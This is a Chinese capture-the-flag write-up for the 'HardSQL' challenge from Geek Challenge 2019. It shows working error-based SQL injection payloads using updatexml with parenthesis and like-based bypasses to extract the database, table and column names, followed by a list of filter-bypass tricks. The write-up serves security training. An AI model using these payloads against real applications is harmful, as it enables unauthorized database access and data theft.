报错注入 [极客大挑战 2019]HardSQL1

打开题目

输入1或者1",页面均回显NO,Wrong username password!!!

那我们输入1'

试试万能密码

1' or 1=1 #

输入1' and 1=2 #

输入1' union select 1,2,3 #

输入1' ununionion seselectlect 1,2,3 #

输入1' #

输入1'=#

页面依旧回显

说明页面过滤了=号,空格,union,就连双写绕过都不行

尝试了一下,发现and也被过滤了

我们就可以试试报错注入

我们先尝试updatexml函数

updatexml函数报错的原理是:

UPDATEXML(XML_document,XPath_string,new_value);

第一个参数:XML的内容

第二个参数:是需要update的位置XPATH路径

第三个参数:是更新后的内容

所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

而第二个参数xpath_string(xpath格式的字符串),我们在注入的时候把第二个参数变为非xpath格式自然会报错

因为我们在上面的尝试中发现and,union,空格是被过滤的

注释符我们还是用#吧,用%23会报错

爆破数据库名

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

或者1'^(updatexml(1,concat(0x7e,database(),0x7e),1))#

得到数据库名为geek

因为题目过滤了空格,我们用括号实现绕过

爆破表名

1'^(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

得到表名为H4rDsq1

爆破列名

1'^(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

然后我们得到了

它说我们的子查询要返回1行以上

那我们就更改一下代码

1'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

成功得到所有列名

爆破数据

知识点:

  • 什么是xor(异或)用法,和or(或)用法有什么区别?

①or是或运算,A or B的结果:当A、B中只要有一个或者两个都为1时,结果为1,否则为0;

即,有一个真即为真

②xor是异或运算,A xor B的结果:当A、B两个不同时结果为1,否则为0。

即,相同为假,不同为真

  • 在mysql中异或运算符的简介

mysql里异或运算符:^ 或者**xor;**

  • sql注入中绕过一些常见的特殊符号

1.绕过空格

注释符/**/绕过

非断开空格%a0(非断开空格是一种特殊的空格字符,与常规空格不同,它在文本中不会引起换行或断开。在URL编码中,非断开空格通常被表示为 %a0。)

括号绕过空格(如果空格被过滤,括号没有被过滤,可以用括号绕过。在MySQL中,括号是用来包围子查询的。任何可以计算出结果的语句,都可以用括号包围起来。而括号两端,可以没有多余的空格)

例如:select(table_name)from(information_schema.tables)where(table_schema)='数据库名'

双写绕过空格

%20绕过空格

2.绕过引号

引号以及引号内容全部转换为16进制

3.逗号绕过

用from或者offset绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

对于limit可以使用offset来绕过:

4.等号绕过

用like即可绕过

5.比较符<>绕过

使用greatest()绕过(返回最大值)

使用least()绕过(返回最小值

6.绕过注释符号(如#,-- -)

原理是闭合后面的引号进行绕过

7.关键字绕过

知识点选自:https://www.cnblogs.com/lspbk/p/14440867.html#:~:text=SQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7%201%E3%80%81%E7%A9%BA%E6%A0%BC%E7%BB%95%E8%BF%87%E3%80%81%E5%BC%95%E5%8F%B7%E7%BB%95%E8%BF%87%E3%80%81%E9%80%97%E5%8F%B7%E7%BB%95%E8%BF%87%202%E3%80%81%E6%AF%94%E8%BE%83%E7%AC%A6%E7%BB%95%E8%BF%87%E3%80%81%E6%B3%A8%E9%87%8A%E7%AC%A6%E7%BB%95%E8%BF%87%E3%80%81%3D%E7%BB%95%E8%BF%87%203%E3%80%81%E5%85%B3%E9%94%AE%E5%AD%97%E7%BB%95%E8%BF%87%20%E5%AE%8C%E6%95%B4%201.%E7%BB%95%E8%BF%87%E7%A9%BA%E6%A0%BC%EF%BC%88%E6%B3%A8%E9%87%8A%E7%AC%A6%2F%2A,%2A%2F%EF%BC%89%EF%BC%9A%20%E6%9C%80%E5%9F%BA%E6%9C%AC%E7%9A%84%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95%EF%BC%8C%E7%94%A8%E6%B3%A8%E9%87%8A%E6%9B%BF%E6%8D%A2%E7%A9%BA%E6%A0%BC%EF%BC%9A%20%2F%2A%20%E6%B3%A8%E9%87%8A%20%2A%2F%202.%E6%8B%AC%E5%8F%B7%E7%BB%95%E8%BF%87%E7%A9%BA%E6%A0%BC%EF%BC%9A%20%E5%A6%82%E6%9E%9C%E7%A9%BA%E6%A0%BC%E8%A2%AB%E8%BF%87%E6%BB%A4%EF%BC%8C%E6%8B%AC%E5%8F%B7%E6%B2%A1%E6%9C%89%E8%A2%AB%E8%BF%87%E6%BB%A4%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%94%A8%E6%8B%AC%E5%8F%B7%E7%BB%95%E8%BF%87%E3%80%82

相关推荐
Ling_suu16 分钟前
Spring——单元测试
java·spring·单元测试
ModelBulider17 分钟前
十三、注解配置SpringMVC
java·开发语言·数据库·sql·mysql
V搜xhliang024626 分钟前
基于深度学习的地物类型的提取
开发语言·人工智能·python·深度学习·神经网络·学习·conda
DK七七28 分钟前
多端校园圈子论坛小程序,多个学校同时代理,校园小程序分展示后台管理源码
开发语言·前端·微信小程序·小程序·php
苹果酱056732 分钟前
C语言 char 字符串 - C语言零基础入门教程
java·开发语言·spring boot·mysql·中间件
老赵的博客39 分钟前
QSS 设置bug
前端·bug·音视频
csucoderlee39 分钟前
eclipse mat leak suspects report和 component report的区别
java·ide·eclipse
Chikaoya40 分钟前
项目中用户数据获取遇到bug
前端·typescript·vue·bug
南城夏季40 分钟前
蓝领招聘二期笔记
前端·javascript·笔记
Huazie40 分钟前
来花个几分钟,轻松掌握 Hexo Diversity 主题配置内容
前端·javascript·hexo